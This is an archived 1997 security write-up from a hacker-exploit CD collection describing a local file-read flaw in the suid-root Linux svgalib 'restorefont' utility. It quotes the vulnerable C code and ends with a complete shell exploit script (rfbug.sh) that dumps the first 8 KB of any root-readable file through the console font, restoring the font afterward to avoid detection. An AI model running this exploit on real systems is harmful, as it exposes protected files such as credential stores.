home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-re < prev    next >
Encoding:
Text File  |  1997-02-23  |  3.3 KB  |  79 lines

  1.  
  2.  
  3.           Linux 'restorefont' Security Holes
  4.  
  5.                  by FEH Staff
  6.  
  7.  
  8.  
  9.    Linux's svgalib utilities, required to be suid root, have a problem in that
  10.  
  11. they do not revoke suid permissions before reading a file.  This is exploited
  12.  
  13. in the restorefont utility, but similar bugs exist in other svgalib utilities.
  14.  
  15. The restorefont utility serves two functions.  First, it will read a font from
  16.  
  17. a file and write it to the console as the font.  Second, it will read a font
  18.  
  19. from the console and write it out to a file.  Luckily, the specific bug
  20.  
  21. in restorefont can only be exploited if someone is at the console, reducing
  22.  
  23. its overall impact on the security of the system as a whole.
  24.  
  25.    In writing the utilities, the authors are cognizant of the fact that when
  26.  
  27. writing out the font, suid permissions must first be given up; it is in fact
  28.  
  29. commented as such in the code.  However, when reading in a font, the program
  30.  
  31. is still running with full suid root permissions.  This allows us to read in
  32.  
  33. any file for the font that root could access (basically, anything).
  34.  
  35.    The applicable code to read in the file is shown below:
  36.  
  37.  
  38.  
  39. #define FONT_SIZE 8192
  40.  
  41. unsigned char font[FONT_SIZE];
  42.  
  43.  
  44.  
  45.     if (argv[1][1] == 'r') {
  46.  
  47.         FILE *f;
  48.  
  49.         f = fopen(argv[2], "rb");
  50.  
  51.         if (f == NULL) {
  52.  
  53.             error:
  54.  
  55.             perror("restorefont");
  56.  
  57.             exit(1);
  58.  
  59.         }
  60.  
  61.         if(1!=fread(font, FONT_SIZE, 1, f))
  62.  
  63.             {
  64.  
  65.             if(errno)
  66.  
  67.                 goto error;
  68.  
  69.             puts("restorefont: input file corrupted.");
  70.  
  71.             exit(1);
  72.  
  73.             }
  74.  
  75.         fclose(f);
  76.  
  77.  
  78.  
  79.    We can see from this that the file to be read in has to be at least 8k,
  80.  
  81. as if it is not, the program will produce an error and exit.  If the file
  82.  
  83. is at least 8k, the first 8k are read into the buffer, and the program 
  84.  
  85. proceeds to set whatever the contents of the file are to the font:
  86.  
  87.     vga_disabledriverreport();
  88.  
  89.     vga_setchipset(VGA);        /* avoid SVGA detection */
  90.  
  91.     vga_init();
  92.  
  93.     vga_setmode(G640x350x16);
  94.  
  95.     vga_puttextfont(font);
  96.  
  97.     vga_setmode(TEXT);
  98.  
  99.  
  100.  
  101.    At this point, the console will now look quite unreadable if you are
  102.  
  103. reading something other than a font from that file.  But, the data that
  104.  
  105. is put into the font is left untouched and is readable using the -w option
  106.  
  107. of restorefont.  We then read the font back from video memory to a new file,
  108.  
  109. and our job is complete, we have read the first 8k of a file we shouldn't
  110.  
  111. have had access to.  To prevent detection of having run this, we probably
  112.  
  113. shouldn't leave an unreadable font on the screen, so we save and then restore
  114.  
  115. the original font before reading from the file.
  116.  
  117.     The complete exploit is shown below:
  118.  
  119.  
  120.  
  121.                    Program: restorefont, a svgalib utility
  122.  
  123. Affected Operating Systems: linux
  124.  
  125.               Requirements: logged in at console
  126.  
  127.        Security Compromise: user can read first 8k of any file of at least
  128.  
  129.                             8k in size on local filesystems
  130.  
  131.                   Synopsis: restorefont reads a font file while suid root,
  132.  
  133.                             writing it to video memory as the current vga
  134.  
  135.                             font; anyone at console can read the current
  136.  
  137.                             font to a file, allowing you to use video memory
  138.  
  139.                             as an 8k file buffer.
  140.  
  141.  
  142.  
  143. rfbug.sh:
  144.  
  145. #!/bin/sh
  146.  
  147. restorefont -w /tmp/deffont.tmp
  148.  
  149. restorefont -r $1
  150.  
  151. restorefont -w $2
  152.  
  153. restorefont -r /tmp/deffont.tmp
  154.  
  155. rm -f /tmp/deffont.tmp
  156.  
  157.